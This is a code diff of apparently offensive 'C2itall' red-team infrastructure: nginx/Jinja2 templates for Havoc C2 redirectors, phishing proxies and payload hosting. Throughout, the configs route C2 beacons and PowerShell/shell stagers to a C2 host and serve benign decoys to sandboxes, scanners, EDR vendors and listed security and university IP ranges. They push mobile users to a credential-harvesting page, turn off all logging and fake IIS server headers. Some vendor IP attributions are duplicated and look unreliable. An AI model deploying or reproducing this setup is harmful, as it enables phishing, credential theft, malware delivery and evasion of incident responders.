name: nginx
state: restarted
@@ -0,0 +1,9 @@
{# OMITTED — phishing login page template #}
{#
Jinja2 template for a cloned login page. Target organization branding,
logo, and color scheme are substituted at deploy time. Form POSTs to
capture.php on the same server. Includes viewport/mobile meta tags for
mobile phishing scenarios.
Omitted from public release. Present in operational deployments.
#}
@@ -0,0 +1,23 @@
================================================================
C2itall Redirector Post-Installation Instructions
================================================================
To complete your setup with SSL certificates, run:
/root/Tools/post_install_redirector.sh
This script will guide you through:
- Setting up Let's Encrypt certificates
- Starting required services
- Updating NGINX configuration
For enhanced OPSEC, you can also randomize ports:
/root/Tools/randomize_ports.sh
Run these after you've configured your DNS records to point to this server.
================================================================
Deployment ID: {{ deployment_id | default('N/A') }}
Domain: {{ domain | default('N/A') }}
Infrastructure Type: Redirector
Provider: {{ provider | default('N/A') }}
================================================================
@@ -0,0 +1,82 @@
# Payload Redirector Configuration
# Serves payloads with anti-analysis features
server {
listen 80;
listen [::]:80;
server_name {{ payload_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ payload_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ payload_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
root /var/www/payloads;
# Anti-analysis headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Download-Options "noopen" always;
add_header X-Robots-Tag "noindex, nofollow" always;
# Serve different content based on user agent
location ~ ^/download/(.+)$ {
# Check if request is from analysis environment
if ($http_user_agent ~* (sandbox|virus|malware|analysis)) {
# Serve benign file
rewrite ^/download/(.+)$ /benign/document.pdf last;
}
# Check for valid download token
secure_link $arg_token,$arg_expires;
secure_link_md5 "$secure_link_expires$uri {{ payload_secret }}";
if ($secure_link = "") {
return 403;
}
if ($secure_link = "0") {
return 410;
}
# Serve actual payload
try_files /payloads/$1 =404;
}
# Direct file access with referrer check
location /files/ {
valid_referers none blocked server_names
*.{{ domain }}
{{ allowed_referrers | default([]) | join(' ') }};
if ($invalid_referer) {
return 403;
}
alias /var/www/payloads/;
autoindex off;
}
# Benign files for analysis environments
location /benign/ {
alias /var/www/payloads/benign/;
autoindex off;
}
# Block all other access
location / {
return 404;
}
{% if zero_logs | default(true) %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
@@ -0,0 +1,104 @@
# Phishing Redirector Configuration
# Advanced evasion and filtering
# Security tool detection
map $http_user_agent $is_security_scanner {
default 0;
~*(bot|crawl|spider|scraper|monitor|virustotal|urlvoid|hybrid-analysis|joesandbox|scanurl|urlscan|phishtank) 1;
}
# Geo-filtering map
map $geoip_country_code $allowed_country {
default 1;
{% for country in blocked_countries | default([]) %}
{{ country }} 0;
{% endfor %}
}
server {
listen 80;
listen [::]:80;
server_name {{ phishing_subdomain }}.{{ domain }};
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
listen [::]:443 ssl http2;
server_name {{ phishing_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ phishing_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
ssl_prefer_server_ciphers on;
# Security headers to appear legitimate
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer-when-downgrade" always;
# Block security scanners
if ($is_security_scanner) {
return 302 https://www.{{ legitimate_redirect | default('microsoft.com') }};
}
# Geo-blocking
if ($allowed_country = 0) {
return 403;
}
# Rate limiting
limit_req_zone $binary_remote_addr zone=phishing:10m rate=10r/s;
limit_req zone=phishing burst=20 nodelay;
# GoPhish tracking and landing pages
location ~ ^/{{ gophish_rid_param | default('rid') }}/(.+) {
proxy_pass http://{{ gophish_server_ip }}:{{ gophish_phish_port | default(8081) }};
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Phishing landing pages
location / {
proxy_pass http://{{ phishing_web_ip }}:80;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
# Block direct access to sensitive paths
location ~ /\.(git|env|htaccess|htpasswd) {
deny all;
return 404;
}
{% if zero_logs | default(true) %}
# Zero-logs configuration
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/nginx/conf.d/selfsigned.crt;
ssl_certificate_key /etc/nginx/conf.d/selfsigned.key;
return 302 https://www.{{ legitimate_redirect | default('google.com') }};
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,58 @@
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;
events {
worker_connections 1024;
multi_accept on;
}
http {
# Basic Settings
sendfile on;
tcp_nopush on;
tcp_nodelay on;
keepalive_timeout 65;
types_hash_max_size 2048;
server_tokens off;
# MIME
include /etc/nginx/mime.types;
default_type application/octet-stream;
# Zero-logs configuration
# This completely disables all access logs
access_log off;
# Minimal error logs - critical only
error_log /dev/null crit;
# SSL Settings
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
ssl_session_tickets off;
# Headers to confuse fingerprinting
# Microsoft-IIS/8.5 server header to throw off analysis
add_header Server "Microsoft-IIS/8.5";
server_name_in_redirect off;
# OPSEC: Hide proxy headers
proxy_hide_header X-Powered-By;
proxy_hide_header X-AspNet-Version;
proxy_hide_header X-Runtime;
# IP Rotation and proxying
real_ip_header X-Forwarded-For;
set_real_ip_from 127.0.0.1;
# Gzip Settings
gzip off; # Disabled to avoid BREACH attack
# Virtual Host Configs
include /etc/nginx/conf.d/*.conf;
include /etc/nginx/sites-enabled/*;
}
@@ -0,0 +1,105 @@
server {
listen 80;
listen [::]:80;
server_name {{ redirector_domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Primary location for legitimate website traffic
location / {
try_files $uri $uri/ =404;
}
# Havoc C2 HTTP listener paths
location ~ ^/api/v[12]/ {
proxy_pass http://{{ c2_ip }}:8080;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
}
# Havoc C2 HTTPS listener paths
location ~ ^/(dashboard|content)/ {
proxy_pass https://{{ c2_ip }}:9443;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_ssl_verify off;
}
# Payload stager paths
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Payload content paths
location ~ ^/content/(windows|linux)/(.+)$ {
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Disable logging for this server block if zero-logs is enabled
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block to respond to unknown hosts
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
# Self-signed cert for catch-all
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect all unknown traffic to a legitimate-looking site
return 301 https://www.google.com;
# Disable logs
access_log off;
error_log /dev/null crit;
}
@@ -0,0 +1,61 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>CDN - Content Delivery Network</title>
<style>
body {
font-family: Arial, sans-serif;
margin: 0;
padding: 0;
background-color: #f4f4f4;
color: #333;
}
header {
background-color: #2c3e50;
color: white;
padding: 1em;
text-align: center;
}
.container {
width: 80%;
margin: 0 auto;
padding: 2em;
}
.card {
background-color: white;
border-radius: 5px;
padding: 1.5em;
margin-bottom: 1.5em;
box-shadow: 0 2px 5px rgba(0,0,0,0.1);
}
footer {
background-color: #2c3e50;
color: white;
text-align: center;
padding: 1em;
position: fixed;
bottom: 0;
width: 100%;
}
</style>
</head>
<body>
<header>
<h1>cdn.{{ domain }}</h1>
<p>Enterprise Content Delivery Network</p>
</header>
<div class="container">
<div class="card">
<h2>Welcome to Our CDN</h2>
<p>This server is part of our global content delivery network.</p>
</div>
</div>
<footer>
<p>&copy; 2025 {{ domain }} CDN Services. All rights reserved.</p>
</footer>
</body>
</html>
@@ -0,0 +1,310 @@
# Advanced Redirector Configuration with IR Evasion
# templates/redirector-site.conf.j2
# Detect security tools by user agent
map $http_user_agent $is_security_tool {
default 0;
# Common security tools, scanners, and IR user agents
~*(security|incident|response|virus|malware|cuckoo|wireshark|burp|nessus|qualys|openvas|nmap|tenable|rapid7|metasploit|paros|zap|nikto|scylla|splunk|elastic|defender|crowdstrike|sentinel|cylance|carbon\sblack|fireeye|mandiant|symantec|mcafee|sophos|kaspersky|analyst|forensic|edr|xdr|siem) 1;
}
# Improved mobile detection regex
map $http_user_agent $is_mobile {
default 0;
~*(android|iphone|ipad|ipod|blackberry|kindle|silk|opera\smini|opera\smobi|windows\sphone|iemobile|mobile|phone|tablet|symbian|series60|midp|up\.browser|ucbrowser|nokia|samsung|motorola|sprint|docomo|mobile\ssafari) 1;
}
map $remote_addr $is_known_security_ip {
default 0;
# VirusTotal
"64.71.0.0/16" 1;
"74.125.0.0/16" 1; # Google Cloud (VirusTotal)
"216.239.32.0/19" 1; # Google
# Recorded Future
"104.196.0.0/14" 1; # Google Cloud
"35.184.0.0/13" 1; # Google Cloud
# Censys
"198.108.66.0/23" 1;
"162.142.125.0/24" 1;
"167.248.133.0/24" 1;
# Shodan
"66.240.192.0/18" 1;
"71.6.135.0/24" 1;
"71.6.167.0/24" 1;
"82.221.105.6/32" 1;
"82.221.105.7/32" 1;
"93.120.27.0/24" 1;
# Symantec/Broadcom
"205.128.0.0/14" 1;
"65.165.0.0/16" 1;
# McAfee/Trellix
"161.69.0.0/16" 1;
"192.225.158.0/24" 1;
# CrowdStrike
"45.60.0.0/16" 1;
"199.66.200.0/24" 1;
# SentinelOne
"104.36.227.0/24" 1;
"104.196.0.0/14" 1;
# Microsoft Defender
"13.64.0.0/11" 1; # Azure (Microsoft Defender)
"13.104.0.0/14" 1; # Microsoft
"40.74.0.0/15" 1; # Microsoft
"51.4.0.0/15" 1; # Microsoft
"104.40.0.0/13" 1; # Microsoft
"104.208.0.0/13" 1; # Azure
# Palo Alto
"96.88.0.0/16" 1;
"173.247.96.0/19" 1;
"216.115.73.0/24" 1;
# Qualys
"64.39.96.0/20" 1;
"64.41.200.0/24" 1;
"92.118.160.0/24" 1;
# Rapid7
"5.63.0.0/16" 1;
"38.107.201.0/24" 1;
"45.60.0.0/16" 1;
"71.6.0.0/16" 1;
"206.225.0.0/16" 1;
# Tenable/Nessus
"23.20.0.0/14" 1; # AWS (Tenable Cloud)
"34.192.0.0/12" 1; # AWS
"54.144.0.0/12" 1; # AWS
"162.219.56.0/21" 1;
"172.104.0.0/16" 1; # Linode (common Nessus hosting)
# FireEye/Mandiant
"23.98.64.0/18" 1;
"66.114.168.0/22" 1;
"96.43.144.0/20" 1;
"173.231.184.0/22" 1;
# Akamai
"23.0.0.0/12" 1;
"23.32.0.0/11" 1;
"104.64.0.0/10" 1;
# Cloudflare
"104.16.0.0/12" 1;
"173.245.48.0/20" 1;
# Academic Research Networks
"128.32.0.0/16" 1; # UC Berkeley
"128.59.0.0/16" 1; # Columbia University
"128.112.0.0/16" 1; # Princeton University
"128.138.0.0/16" 1; # University of Colorado
"128.197.0.0/16" 1; # Boston University
"146.186.0.0/16" 1; # Carnegie Mellon
}
# HTTP to HTTPS redirect
server {
listen 80;
listen [::]:80;
server_name {{ redirector_subdomain }}.{{ domain }};
# Redirect to HTTPS
return 301 https://$host$request_uri;
}
# Main HTTPS server
server {
listen 443 ssl;
listen [::]:443 ssl;
server_name {{ redirector_subdomain }}.{{ domain }};
# SSL Configuration
ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_prefer_server_ciphers on;
ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
ssl_session_timeout 1d;
ssl_session_cache shared:SSL:10m;
# Root directory
root /var/www/html;
index index.html;
# Advanced IR Evasion - IMPORTANT: Order matters!
# 1. Direct mobile users to credential capture - placed first to ensure it takes priority
if ($is_mobile = 1) {
return 302 https://$host/login/auth.html;
}
# 2. Redirect security tools to benign sites
if ($is_security_tool) {
return 302 https://www.google.com;
}
# 3. Redirect known security IPs
if ($is_known_security_ip) {
return 302 https://www.microsoft.com;
}
# 4. Add timing delay for suspicious connections
if ($http_referer ~* (security|scan)) {
set $delay_response 1;
}
# Valid C2 beacon routing - CRITICAL PATHS
location ~ ^/api/beacon/ {
# Only valid beacons proceed to C2
proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_ssl_verify off;
# Implement artificial delay for suspicious connections
if ($delay_response) {
limit_rate 1k; # Slow down response
}
}
# Secure stager delivery routes
location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
# Only valid requests that passed the earlier checks
proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Content access for payload delivery
location ~ ^/content/(windows|linux)/(.+)$ {
# Specific valid content paths
proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
}
# Redirect specific payload formats based on client OS
location ~ ^/download/payload$ {
if ($http_user_agent ~* windows) {
return 302 /content/windows/$win_exe;
}
if ($http_user_agent ~* linux) {
return 302 /content/linux/$linux_bin;
}
# Default fallback for unknown OS
return 302 /;
}
# Secure payload delivery path for synced payloads
location /resources/ {
alias /var/www/resources/;
limit_except GET { deny all; }
add_header X-Content-Type-Options "nosniff" always;
add_header Content-Security-Policy "default-src 'none'" always;
add_header X-Frame-Options "DENY" always;
add_header Server "Microsoft-IIS/10.0" always;
autoindex off;
access_log off;
}
# Credential harvesting login page
location ~ ^/login/auth\.html$ {
root /var/www;
try_files $uri =404;
add_header X-Frame-Options "DENY" always;
}
# Protect credential processing script
location ~ ^/login/process\.php$ {
# Allow POST only
limit_except POST { deny all; }
# Process the PHP file
root /var/www;
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
# Block direct access to sensitive files
location ~ \.(enc|key|pem|log)$ {
deny all;
return 404;
}
{% if setup_integrated_tracker | default(false) | bool %}
# Email tracker pixel only (not exposing dashboard)
location ~ ^/px/(.+)\.png$ {
proxy_pass http://{{ c2_ip }}:5000/pixel/$1.png;
proxy_http_version 1.1;
proxy_set_header Host {{ tracker_domain }};
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Proto https;
# Cache control for tracking pixels
add_header Cache-Control "no-store, no-cache, must-revalidate" always;
expires -1;
}
{% endif %}
# Primary location for legitimate website traffic
# This acts as a catch-all for non-matching URIs
location / {
# Check if this is potentially an attempt to access a non-existent payload
if ($request_uri ~* \.(exe|dll|ps1|sh|py|vbs|hta)$) {
# If invalid payload URI, redirect to real target
return 302 https://www.{{ domain }};
}
# Otherwise serve legitimate content
try_files $uri $uri/ =404;
}
# Security headers
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "SAMEORIGIN" always;
add_header X-XSS-Protection "1; mode=block" always;
add_header Referrer-Policy "no-referrer" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
# Make server appear as IIS
add_header Server "Microsoft-IIS/10.0";
# Disable logging
{% if zero_logs | default(true) | bool %}
access_log off;
error_log /dev/null crit;
{% endif %}
}
# Catch-all server block
server {
listen 80 default_server;
listen [::]:80 default_server;
listen 443 ssl default_server;
listen [::]:443 ssl default_server;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
# Redirect unknown hosts to legitimate sites
return 301 https://www.google.com;
access_log off;
error_log /dev/null crit;
}

Some files were not shown because too many files have changed in this diff Show More